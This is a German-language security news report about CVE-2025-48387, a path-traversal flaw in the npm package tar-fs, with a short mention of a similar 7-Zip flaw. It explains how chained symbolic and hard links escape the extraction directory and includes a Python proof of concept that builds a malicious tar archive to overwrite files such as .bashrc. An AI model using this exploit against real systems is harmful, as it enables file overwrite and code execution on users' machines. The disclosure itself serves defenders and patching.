Im NPM-Paket tar-fs wurde eine Sicherheitsanfälligkeit (CVE-2025-48387) entdeckt, die es ermöglicht, beim Entpacken eines speziell gestalteten tar-Archivs Dateien in beliebige Teile des Dateisystems zu schreiben, unabhängig von dem Verzeichnis, in das entpackt wird (sofern die Zugriffsrechte des aktuellen Benutzers dies zulassen). Die Schwachstelle kann auch dazu verwendet werden, bestehende Dateien zu überschreiben, zum Beispiel können Dateien wie «.ssh/id_rsa» oder «.bashrc» im Heimatverzeichnis des Benutzers überschrieben werden, um die Ausführung eigenen Codes im System zu ermöglichen.
Das Problem wurde als kritisch eingestuft, da das Paket tar-fs wöchentlich 23 Millionen Downloads hat und als Abhängigkeit in 1155 Projekten verwendet wird. Die Schwachstelle wurde in den Versionen 3.0.9, 2.1.3 und 1.16.5 behoben, die im Mai erstellt wurden, aber die Informationen zur Schwachstelle wurden erst fast 3 Monate später veröffentlicht.
Die Schwachstelle wird durch unzureichende Überprüfungen der im Archiv vorhandenen symbolischen und harten Links verursacht, um sicherzustellen, dass diese nicht über das Zielverzeichnis hinausgehen, in das sie entpackt werden. Um die Überprüfungen zu umgehen, werden zwei symbolische Links verwendet: Der erste zeigt auf das Wurzelverzeichnis des entpackten Archivs («.»), während der zweite relativ zum ersten symbolischen Link erstellt wird und im Namen die Zeichen «../» verwendet, um über das Basisverzeichnis hinauszugehen. Zum Beispiel zeigt der erste Link «noop/noop/noop» auf «.», während der zweite «noop/noop/noop/../../../../» als «./../../../» aufgelöst wird. Um die Überschreibung von Dateien im Archiv zu ermöglichen, kann ein harter Link erstellt werden, der relativ zum zweiten symbolischen Link auf eine externe Datei verweist. import tarfile import io with tarfile.open(«poc.tar», mode=»x») as tar: root = tarfile.TarInfo(«root») root.linkname = («noop/» * 15) + («../» * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo(«noop») noop.linkname = «.» noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo(«hardflag») hard.linkname = «root/home/username/flag/flag» hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b»overwrite\n» overwrite = tarfile.TarInfo(«hardflag») overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b»new!\n» newfile = tarfile.TarInfo(«root/home/username/flag/newfile») newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
Eine ähnliche Sicherheitsanfälligkeit (CVE-2025-55188) wurde im Archivierungsprogramm 7-Zip entdeckt. Um Dateien außerhalb des Basisverzeichnisses in 7-Zip zu speichern, können auch symbolische Links verwendet werden, die die Sequenz „..\/“ im Dateipfad haben. Das Problem kann beim Entpacken beliebiger Archive mit 7-Zip ausgenutzt werden, die symbolische Links unterstützen, wie z. B. zip, tar, 7z und rar. Das Problem wurde in der Version 7-Zip 25.01 behoben.
Quelle: opennet.ru
